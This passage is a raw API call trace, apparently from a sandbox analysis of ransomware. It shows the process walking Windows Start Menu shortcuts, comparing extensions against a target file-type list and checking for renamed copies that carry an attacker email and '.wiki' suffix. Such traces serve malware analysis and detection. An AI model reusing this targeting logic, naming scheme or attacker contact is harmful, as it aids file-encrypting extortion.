4 [0171.958] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.958] lstrlenW (lpString=".bz2") returned 4 [0171.958] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.958] lstrlenW (lpString=".7z") returned 3 [0171.958] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.958] lstrlenW (lpString=".dbf") returned 4 [0171.958] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.958] lstrlenW (lpString=".1cd") returned 4 [0171.958] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.958] lstrlenW (lpString=".jpg") returned 4 [0171.958] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.958] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.959] lstrlenW (lpString="Paint.lnk") returned 9 [0171.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.959] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1242) returned 1 [0171.959] CloseHandle (hObject=0x1a0) returned 1 [0171.959] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk")) returned 0x20 [0171.959] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.959] lstrlenW (lpString=".doc") returned 4 [0171.959] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.959] lstrlenW (lpString=".docx") returned 5 [0171.959] lstrcmpiW (lpString1=".docx", lpString2="t.lnk") returned -1 [0171.959] lstrlenW (lpString=".pdf") returned 4 [0171.959] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.959] lstrlenW (lpString=".xls") returned 4 [0171.959] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.960] lstrlenW (lpString=".xlsx") returned 5 [0171.960] lstrcmpiW (lpString1=".xlsx", lpString2="t.lnk") returned -1 [0171.960] lstrlenW (lpString=".ppt") returned 4 [0171.960] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString=".zip") returned 4 [0171.960] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.960] lstrlenW (lpString=".rar") returned 4 [0171.960] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.960] lstrlenW (lpString=".bz2") returned 4 [0171.960] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.960] lstrlenW (lpString=".7z") returned 3 [0171.960] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString=".dbf") returned 4 [0171.960] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString=".1cd") returned 4 [0171.960] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString=".jpg") returned 4 [0171.960] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.960] lstrlenW (lpString=".doc") returned 4 [0171.960] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.960] lstrlenW (lpString=".docx") returned 5 [0171.960] lstrcmpiW (lpString1=".docx", lpString2="t.lnk") returned -1 [0171.960] lstrlenW (lpString=".pdf") returned 4 [0171.961] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.961] lstrlenW (lpString=".xls") returned 4 [0171.961] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.961] lstrlenW (lpString=".xlsx") returned 5 [0171.961] lstrcmpiW (lpString1=".xlsx", lpString2="t.lnk") returned -1 [0171.961] lstrlenW (lpString=".ppt") returned 4 [0171.961] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.961] lstrlenW (lpString=".zip") returned 4 [0171.961] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.961] lstrlenW (lpString=".rar") returned 4 [0171.961] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.961] lstrlenW (lpString=".bz2") returned 4 [0171.961] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.961] lstrlenW (lpString=".7z") returned 3 [0171.961] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.961] lstrlenW (lpString=".dbf") returned 4 [0171.961] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.961] lstrlenW (lpString=".1cd") returned 4 [0171.961] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned 74 [0171.961] lstrlenW (lpString=".jpg") returned 4 [0171.961] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.961] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.961] lstrlenW (lpString="Remote Desktop Connection.lnk") returned 29 [0171.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.962] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1367) returned 1 [0171.962] CloseHandle (hObject=0x1a0) returned 1 [0171.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk")) returned 0x20 [0171.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.962] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.962] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned 94 [0171.962] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned 94 [0171.962] lstrlenW (lpString=".doc") returned 4 [0171.962] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.962] lstrlenW (lpString=".docx") returned 5 [0171.962] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0171.962] lstrlenW (lpString=".pdf") returned 4 [0171.962] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.962] lstrlenW (lpString=".xls") returned 4 [0171.962] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.177] lstrlenW (lpString=".xlsx") returned 5 [0172.177] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0172.177] lstrlenW (lpString=".ppt") returned 4 [0172.177] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.177] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned 94 [0172.177] lstrlenW (lpString=".zip") returned 4 [0172.177] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.177] lstrlenW (lpString=".rar") returned 4 [0172.177] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.177] lstrlenW (lpString=".bz2") returned 4 [0172.177] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.177] lstrlenW (lpString=".7z") returned 3 [0172.177] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.177] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned 94 [0172.177] lstrlenW (lpString=".dbf") returned 4 [0172.177] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.414] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1252) returned 1 [0172.414] CloseHandle (hObject=0x1ac) returned 1 [0172.414] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk")) returned 0x20 [0172.414] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.414] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.415] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1436) returned 1 [0172.415] CloseHandle (hObject=0x1ac) returned 1 [0172.415] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk")) returned 0x20 [0172.415] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.415] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.415] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1386) returned 1 [0172.415] CloseHandle (hObject=0x1ac) returned 1 [0172.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk")) returned 0x20 [0172.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.416] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.416] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1316) returned 1 [0172.416] CloseHandle (hObject=0x1ac) returned 1 [0172.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk")) returned 0x20 [0172.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.416] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.417] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1579) returned 1 [0172.417] CloseHandle (hObject=0x1ac) returned 1 [0172.417] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk")) returned 0x20 [0172.417] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.417] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.417] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1989) returned 1 [0172.417] CloseHandle (hObject=0x1ac) returned 1 [0172.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk")) returned 0x20 [0172.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.418] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.418] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1468) returned 1 [0172.418] CloseHandle (hObject=0x1ac) returned 1 [0172.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk")) returned 0x20 [0172.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.418] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.515] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1468) returned 1 [0172.515] CloseHandle (hObject=0x1b4) returned 1 [0172.515] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk")) returned 0x20 [0172.515] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.515] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1899) returned 1 [0172.516] CloseHandle (hObject=0x1b4) returned 1 [0172.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk")) returned 0x20 [0172.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.516] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1322) returned 1 [0172.516] CloseHandle (hObject=0x1b4) returned 1 [0172.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk")) returned 0x20 [0172.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.517] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1242) returned 1 [0172.517] CloseHandle (hObject=0x1b4) returned 1 [0172.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk")) returned 0x20 [0172.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.518] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1294) returned 1 [0172.518] CloseHandle (hObject=0x1b4) returned 1 [0172.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk")) returned 0x20 [0172.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.518] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1270) returned 1 [0172.518] CloseHandle (hObject=0x1b4) returned 1 [0172.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk")) returned 0x20 [0172.519] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.519] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.519] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1298) returned 1 [0172.519] CloseHandle (hObject=0x1b4) returned 1 [0172.519] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk")) returned 0x20 [0172.519] GetFileAttributesW 